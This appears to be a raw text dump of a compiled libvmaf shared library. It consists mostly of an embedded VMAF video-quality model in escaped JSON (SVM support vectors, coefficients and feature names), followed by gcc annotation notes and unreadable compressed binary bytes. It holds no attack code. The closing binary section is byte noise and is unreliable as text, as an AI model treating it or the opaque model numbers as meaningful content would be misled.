1:0.39053999 2:0.20820673 3:0.17753958 4:0.33495583 5:0.39777832 6:0.44399359 \n4 1:0.28569186 2:0.20629643 3:0.076468978 4:0.29833807 5:0.37989948 6:0.4576277 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.57776221 2:0.08765484 3:0.42071301 4:0.56376512 5:0.66454599 6:0.741236 \n-4 1:0.75431872 2:0.083369236 3:0.42082971 4:0.66591147 5:0.77995959 6:0.84260661 \n-4 1:0.51733002 2:0.047285912 3:0.41965074 4:0.71632669 5:0.73953043 6:0.73487553 \n-1.535509468584138 1:0.25896526 2:0.04579546 3:0.31879 4:0.45852885 5:0.59717781 6:0.71487885 \n4 1:0.87911146 2:0.34681232 3:0.22411304 4:0.88845644 5:0.94169671 6:0.96221395 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.70099226 2:0.20820673 3:0.31094767 4:0.6676259 5:0.77726116 6:0.83518027 \n-4 1:0.72319868 2:0.16787772 3:0.57600091 4:0.75310216 5:0.81471966 6:0.84249923 \n-1.938016416322493 1:0.5797031 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.76258425 2:0.16787772 3:0.60695536 4:0.80906778 5:0.87125816 6:0.89810007 \n4 1:0.82277534 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n4 1:0.79670443 2:0.54342577 3:0.26295318 4:0.6905031 5:0.79291823 6:0.84469464 \n4 1:0.85877443 2:0.42532178 3:0.43562507 4:0.80721931 5:0.87934044 6:0.91434143 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.76526298 2:0.055921852 3:0.38714172 4:0.81340799 5:0.90059649 6:0.93006702 \n-4 1:0.59637711 2:1 3:0.19031962 4:0.43030863 5:0.5277316 6:0.59069772 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.66777856 2:0.42532178 3:0.30879992 4:0.60375124 5:0.70097073 6:0.75507206 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.18980624 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.66382463 2:0.93973481 3:0.28594627 4:0.63969879 5:0.73360583 6:0.78380069 \n-4 1:0.35760888 2:0.34681232 3:0.027607294 4:0.40659646 5:0.45456869 6:0.48256597 \n-4 1:0.65966561 2:0.20820673 3:0.27420721 4:0.57889989 5:0.68485118 6:0.74837036 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.62474007 2:0.93973481 3:0.26141889 4:0.56602175 5:0.64775366 6:0.69263211 \n4 1:0.2214182 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n-4 1:0.67240963 2:0.16787772 3:0.54473368 4:0.69254626 5:0.74796983 6:0.77177867 \n-4 1:0.43871049 2:0.15600331 3:0.030541611 4:0.37279112 5:0.4588284 6:0.52004828 \n-1.191200391129056 1:0.4807615 2:0.083369236 3:0.30044264 4:0.41587284 5:0.5230585 6:0.59468942 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n-4 1:0.48213397 2:0.16787772 3:0.49792761 4:0.59161372 5:0.62979552 6:0.64254584 \n4 1:0.3594872 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n-4 1:0.70300609 2:0.15600331 3:0.091457045 4:0.60849701 5:0.72282659 6:0.78137183 \n4 1:0.79391726 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.61342581 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.46600264 3:0.11185039 4:0.56180003 5:0.83415721 6:0.93617329 \n4 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n4 1:0.78180974 2:0.04579546 3:0.54174294 4:0.92424698 5:0.96600395 6:0.97868211 \n-0.05343163224908529 1:0.91951481 2:0.16787772 3:0.7239389 4:0.94244479 5:0.9681932 6:0.97806033 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n-4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n-4 1:0.59976014 2:0.04579546 3:0.42297435 4:0.72390263 5:0.83364665 6:0.88344569 \n-4 1:0.62949394 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n-4 1:0.8048121 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.45809369 2:0.08765484 3:0.36628046 4:0.45852823 5:0.56005228 6:0.65708595 \n-4 1:0.51012298 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.90799305 2:0.54342577 3:0.37898741 4:0.85252726 5:0.92049615 6:0.94848246 \n-4 1:0.72871424 2:0.014623935 3:0.78701408 4:0.89679281 5:0.96056131 6:0.977629 \n4 1:0.87931568 2:0.22767235 3:0.31750162 4:0.85145925 5:0.9121085 6:0.93772147 \n4 1:0.74208953 2:0.055921852 3:0.34721658 4:0.73960747 5:0.84370247 6:0.88485372 \n-4 1:0.65624547 2:0.34681232 3:0.092281981 4:0.61278125 5:0.70626575 6:0.75613977 \n-4 1:0.69908122 2:1 3:0.2367756 4:0.5367057 5:0.64063877 6:0.70451767 \n4 1:0.78020364 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n-4 1:0.73815918 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n-4 1:0.70997536 2:0.083369236 3:0.42718441 4:0.69347659 5:0.81124449 6:0.87136343 \n4 1:0.67022121 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.87823623 2:0.20629643 3:0.36755712 4:0.8681203 5:0.93297792 6:0.95700049 \n4 1:0.91202697 2:0.42532178 3:0.50912639 4:0.87959883 5:0.93223488 6:0.95450335 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.41563731 2:0.48885268 3:0.2554221 4:0.36916892 5:0.43100226 6:0.50888404 \n-4 1:0.76491447 2:0.047285912 3:0.49613729 4:0.87838146 5:0.91688438 6:0.93150362 \n-4 1:0.48387441 2:0.20820673 3:0.20172681 4:0.39715881 5:0.47368229 6:0.52781628 \n-4 1:0.78167533 2:0.15600331 3:0.11289462 4:0.67598462 5:0.78117168 6:0.83259364 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n4 1:0.75186201 2:0.20820673 3:0.31004997 4:0.6557112 5:0.75585014 6:0.81164989 \n4 1:0.88220599 2:0.20820673 3:0.40997978 4:0.82462749 5:0.89794736 6:0.93142825 \n4 1:0.74778935 2:0.58937038 3:0.41507439 4:0.56413083 5:0.65815516 6:0.7166999 \n-4 1:0.69981151 2:0.54342577 3:0.21726369 4:0.60683566 5:0.72232536 6:0.78414054 \n4 1:0.73867648 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n-4 1:0.4874691 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n4 1:0.90795371 2:0.58937038 3:0.58823535 4:0.80035053 5:0.86988422 6:0.90533033 \n-4 1:0.79681394 2:0.083369236 3:0.48094343 4:0.76665994 5:0.86191893 6:0.90760934 \n-4 1:0.65289017 2:0.48885268 3:0.31268451 4:0.5167094 5:0.61224976 6:0.68477529 \n-4 1:0.69517962 2:0.083369236 3:0.36350305 4:0.54888271 5:0.66506794 6:0.73685112 \n-4 1:0.74565796 2:0.15600331 3:0.089218917 4:0.58797907 5:0.69284768 6:0.74971699 \n-4 1:0.91785848 2:0.083369236 3:0.63999999 4:0.90398906 5:0.94897505 6:0.96762621 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.84127012 2:0.014623935 3:0.81253935 4:0.95982371 5:0.98309178 6:0.9870796 \n4 1:0.91728681 2:0.20820673 3:0.45891267 4:0.87823329 5:0.93535353 6:0.95883927 \n-4 1:0.62949718 2:0.04579546 3:0.44400319 4:0.77920819 5:0.88713866 6:0.92903178 \n4 1:0.90420201 2:0.15600331 3:0.19693206 4:0.86294641 5:0.92990351 6:0.95498998 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n4 1:0.81789029 2:0.48885268 3:0.44075432 4:0.7803455 5:0.86328719 6:0.90222545 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.5810431 2:0.047285912 3:0.43113594 4:0.74141738 5:0.76929188 6:0.77018949 \n-4 1:0.32027025 2:0.49739676 3:0.17094319 4:0.12195679 5:0.13277563 6:0.14165413 \n4 1:0.5898908 2:0.055921852 3:0.31791569 4:0.72365433 5:0.88324129 6:0.93484545 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n-4 1:0.89171605 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n4 1:0.89291952 2:0.16787772 3:0.69408521 4:0.91495146 5:0.94890261 6:0.96269344 \n4 1:0.75731817 2:0.42532178 3:0.35347476 4:0.69239941 5:0.78245146 6:0.83117443 \n-4 1:0.56800546 2:0.16787772 3:0.5149767 4:0.63026581 5:0.67890679 6:0.69964851 \n4 1:0.95273022 2:0.014623935 3:0.90135809 4:0.99584619 5:0.9970631 6:0.99757649 \n4 1:0.57348929 2:0.42532178 3:0.24033766 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1:0.76580991 2:0.93973481 3:0.32205372 4:0.7176044 5:0.80237787 6:0.84588741 \n-4 1:0.44711702 2:0.54342577 3:0.10123262 4:0.31581962 5:0.38571265 6:0.42827036 \n2.000000000000001 1:0.60617061 2:0.20820673 3:0.23419121 4:0.48018865 5:0.57200972 6:0.63197473 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n4 1:0.90057657 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n-4 1:0.84765099 2:0.014623935 3:0.81445984 4:0.96615706 5:0.98858241 6:0.99176534 \n-4 1:0.32002648 2:0.54342577 3:0.072456434 4:0.24261286 5:0.29785605 6:0.33368644 \n4 1:0.45337497 3:0.10308547 4:0.52247575 5:0.78583924 6:0.89392193 \n4 1:0.66256481 2:0.42532178 3:0.27479904 4:0.51802649 5:0.59270541 6:0.63560969 \n4 1:0.10775597 2:0.055921852 3:0.1590151 4:0.30536689 5:0.48614515 6:0.64344462 \n-4 1:0.60311017 2:0.34681232 3:0.067548447 4:0.53383404 5:0.61287548 6:0.65468717 \n4 1:0.19680854 2:0.58937038 3:0.21585801 4:0.1754362 5:0.20844015 6:0.23846443 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n4 1:0.8811176 2:0.047285912 3:0.53826775 4:0.933335 5:0.95948954 6:0.96870909 \n4 1:0.80205907 2:0.22767235 3:0.26078021 4:0.76359704 5:0.8470807 6:0.8858359 \n-1.402544171634588 1:0.63920442 2:0.20629643 3:0.16825499 4:0.55661206 5:0.69111529 6:0.7656762 \n4 1:0.76382055 2:0.22767235 3:0.22331233 4:0.67735915 5:0.77029889 6:0.81802539 \n-4 1:0.65317124 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n4 1:0.49591192 2:0.22767235 3:0.13362033 4:0.43434224 5:0.49900609 6:0.53177669 \n&quot;,
            &quot;slopes&quot;: [
                0.012020766332648465,
                2.7863890579902773,
                0.06264407466686016,
                1.222763456258933,
                1.5360318811084146,
                1.7620864995501058,
                2.08656468286432
            ]
        }
    }
} �J          {
    &quot;param_dict&quot;: {
        &quot;C&quot;: 4.0,
        &quot;score_transform&quot;: {
            &quot;p2&quot;: -0.00705305,
            &quot;out_gte_in&quot;: &quot;true&quot;,
            &quot;p0&quot;: 1.70674692,
            &quot;p1&quot;: 1.72643844
        },
        &quot;norm_type&quot;: &quot;clip_0to1&quot;,
        &quot;score_clip&quot;: [
            0.0,
            100.0
        ],
        &quot;nu&quot;: 0.9,
        &quot;gamma&quot;: 0.04
    },
    &quot;model_dict&quot;: {
        &quot;model&quot;: &quot;svm_type nu_svr\nkernel_type rbf\ngamma 0.04\nnr_class 2\ntotal_sv 211\nrho -1.33133\nSV\n-4 1:0.65734273 2:0.34681232 3:0.093755557 4:0.60913934 5:0.69117362 6:0.73495824 \n4 1:0.8727433 2:0.49612229 3:0.59146724 4:0.78105663 5:0.84916292 6:0.8882561 \n4 1:0.89890005 2:0.49612229 3:0.66823667 4:0.86050887 5:0.90873162 6:0.93335071 \n4 1:0.20371751 2:0.49612229 3:0.10534315 4:-1.110223e-16 6:2.220446e-16 \n4 1:0.33913836 2:0.49612229 3:0.14024497 4:0.074708413 5:0.10231651 6:0.1259153 \n4 1:0.66426757 2:0.49612229 3:0.35268026 4:0.4805681 5:0.59603341 6:0.67408692 \n4 1:0.59561632 2:0.49612229 3:0.27561601 4:0.33977371 5:0.4325213 6:0.50244952 \n4 1:0.50821444 2:0.49612229 3:0.20276685 4:0.2004308 5:0.25758651 6:0.30054029 \n4 1:0.77877298 2:0.49612229 3:0.444392 4:0.61630491 5:0.71210086 6:0.77386496 \n4 1:0.71666017 2:0.49612229 3:0.35967401 4:0.47825205 5:0.57045236 6:0.63752441 \n4 1:0.64025669 2:0.49612229 3:0.27766156 4:0.33407105 5:0.40732401 6:0.46359154 \n4 1:0.88343983 2:0.23066177 3:0.65873851 4:0.86090402 5:0.90661213 6:0.93008753 \n4 1:0.90822691 2:0.23066177 3:0.71439481 4:0.90904598 5:0.94146542 6:0.95674338 \n-4 1:0.49037399 2:0.23066177 3:0.32329421 4:0.33686197 5:0.39456977 6:0.44944683 \n-4 1:0.69044383 2:0.23066177 3:0.43933868 4:0.56327049 5:0.65339511 6:0.71348696 \n-4 1:0.62390093 2:0.23066177 3:0.3800888 4:0.44927578 5:0.52327759 6:0.57907725 \n4 1:0.81887942 2:0.23066177 3:0.56208506 4:0.76164281 5:0.83176644 6:0.86914911 \n4 1:0.77189471 2:0.23066177 3:0.50145055 4:0.66525882 5:0.74327951 6:0.79017822 \n4 1:0.71405433 2:0.23066177 3:0.43952897 4:0.55736023 5:0.63319876 6:0.68402869 \n4 1:0.92114073 3:0.45198963 4:0.97703695 5:0.9907273 6:0.99510256 \n4 1:1 3:0.83319067 4:0.98956086 5:0.99577089 6:0.99784595 \n4 4:0.10344019 5:0.34323945 6:0.63855969 \n4 1:0.19531482 3:0.034330388 4:0.25480402 5:0.54197045 6:0.78020579 \n4 1:0.48394064 3:0.11866359 4:0.58816959 5:0.86435738 6:0.96191842 \n4 1:0.47628079 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6:0.81892861 \n-4 1:0.80269544 2:0.25207203 3:0.3681723 4:0.80658472 5:0.8702283 6:0.90583519 \n-4 1:0.86095387 2:0.25207203 3:0.52475418 4:0.85053413 5:0.90454501 6:0.93093678 \n-4 1:0.5008963 2:0.25207203 3:0.2005129 4:0.41516485 5:0.45282017 6:0.47396143 \n-4 1:0.56977992 2:0.25207203 3:0.21631076 4:0.45848604 5:0.51102137 6:0.53823055 \n-4 1:0.72779828 2:0.25207203 3:0.3051639 4:0.67537297 5:0.75767261 6:0.80327187 \n-4 1:0.68848569 2:0.25207203 3:0.27393051 4:0.60399854 5:0.68000038 6:0.72275152 \n-4 1:0.64121401 2:0.25207203 3:0.23994344 4:0.52538719 5:0.5891732 6:0.62164073 \n-4 1:0.76673633 2:0.25207203 3:0.33053889 4:0.73085549 5:0.80341439 6:0.84546456 \n-4 1:0.73041172 2:0.25207203 3:0.29691153 4:0.66166141 5:0.73408074 6:0.77757209 \n-4 1:0.68529047 2:0.25207203 3:0.26283557 4:0.58611788 5:0.65192525 6:0.69015011 \n4 1:0.86902267 2:0.48885268 3:0.5143645 4:0.8587242 5:0.91841685 6:0.94498293 \n4 1:0.89266106 2:0.48885268 3:0.55208861 4:0.89938377 5:0.94642982 6:0.96615102 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5:0.8704229 6:0.88419439 \n-4 1:0.67287449 2:0.047285912 3:0.44652268 4:0.77691812 5:0.81043483 6:0.8177009 \n-4 1:0.8023177 2:0.047285912 3:0.51559706 4:0.90512389 5:0.93743101 6:0.9492968 \n-4 1:0.76751376 2:0.047285912 3:0.49225957 4:0.86357299 5:0.89948127 6:0.91221155 \n-4 1:0.72124785 2:0.047285912 3:0.46606653 4:0.81323145 5:0.84847474 6:0.85892657 \n&quot;,
        &quot;score_transform&quot;: {
            &quot;p2&quot;: -0.00705305,
            &quot;out_gte_in&quot;: &quot;true&quot;,
            &quot;p0&quot;: 1.70674692,
            &quot;p1&quot;: 1.72643844
        },
        &quot;norm_type&quot;: &quot;linear_rescale&quot;,
        &quot;score_clip&quot;: [
            0.0,
            100.0
        ],
        &quot;feature_names&quot;: [
            &quot;VMAF_integer_feature_adm2_score&quot;,
            &quot;VMAF_integer_feature_motion2_score&quot;,
            &quot;VMAF_integer_feature_vif_scale0_score&quot;,
            &quot;VMAF_integer_feature_vif_scale1_score&quot;,
            &quot;VMAF_integer_feature_vif_scale2_score&quot;,
            &quot;VMAF_integer_feature_vif_scale3_score&quot;
        ],
        &quot;intercepts&quot;: [
            -0.3092981927591963,
            -1.7993968597186747,
            -0.003017198086831897,
            -0.1728125095425364,
            -0.5294309090081222,
            -0.7577185792093722,
            -1.083428597549764
        ],
        &quot;model_type&quot;: &quot;LIBSVMNUSVR&quot;,
        &quot;slopes&quot;: [
            0.012020766332648465,
            2.8098077502505414,
            0.06264407466686016,
            1.222763456258933,
            1.5360318811084146,
            1.7620864995501058,
            2.08656468286432
        ],
        &quot;feature_dict&quot;: {
            &quot;VMAF_integer_feature&quot;: [
                &quot;vif_scale0&quot;,
                &quot;vif_scale1&quot;,
                &quot;vif_scale2&quot;,
                &quot;vif_scale3&quot;,
                &quot;adm2&quot;,
                &quot;motion2&quot;
            ]
        }
    }
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?�`M?��4?�t?g�&gt;#:�&gt;�&gt;�&gt;��&gt;)�                             �     0�     X�     ��                     8�     `�                     ��             ��             Z�             e�                             )�      �     ��             p�     �             �              @�                     �     `�     ��             ��      �             �              `�                     $�     ��     ��     P�      �     ��             �             ��                          @�     ��             `�     @�                            ��                     `�     `�     �             P�                     �               ��                     Z�     ��     @�             �     @�             (               ��                     e�     ��      �             �      �             (               ��                     f�     q�     }�     �                                     �     ��     �*                                                     ��                     �     �     !�             �     `]     p&amp;     P,             ��             X              @�     D  ����        4�7=*:�&gt;���&gt;��q&gt;�&gt;            4�7=*:�&gt;���&gt;��q&gt;�&gt;                            �&gt;         GA$3a1  �      M�              GA$3g1033  ��      T6               GA*              GA$annobin gcc 11.2.1 20211019           GA$plugin name: annobin               GA$running gcc 11.2.1 20211019 	          GA*               GA*             GA!              GA*FORTIFY �              GA+GLIBCXX_ASSERTIONS             GA*GOW j            GA*cf_protection             GA+omit_frame_pointer             GA+stack_clash            GA!stack_realign             GA$3g1033  P[     �               GA*              GA$annobin gcc 11.2.1 20211019           GA$plugin name: annobin               GA$running gcc 11.2.1 20211019 	          GA*               GA*             GA!              GA*FORTIFY �              GA+GLIBCXX_ASSERTIONS             GA*GOW j            GA*cf_protection             GA+omit_frame_pointer             GA+stack_clash            GA!stack_realign    	        GA*      �      7              GA*FORTIFY �             GA+GLIBCXX_ASSERTIONS   	        GA*      P[     �             GA*FORTIFY �    P[     T6              GA+GLIBCXX_ASSERTIONS   libvmaf.so.1.1.2-2.3.0-2.el9.x86_64.debug   ��&lt;�7zXZ  �ִF !   t/��3] ?�E�h=��ڊ�2N��:H� ��W7eK�f��&lt;��&quot;���)7C��$�?Q!p3 ]]a�v�կءO$���v�ޥU�OSN�g	F�G���&amp;��/Ơ����0U�B؍���6岸2���|�57GW�s��jk�6qG�&gt;��T�Q�h�f��j�9m��&#039;���*������i��5��E)(kRj�Tf	y+�-��wP0�5�LW=��� 0���~=�B�,���;C}7&gt;�����.��]D���R����H��N����cR֢�swY�����x�&gt;��З7�,Q��B�{~Bm�
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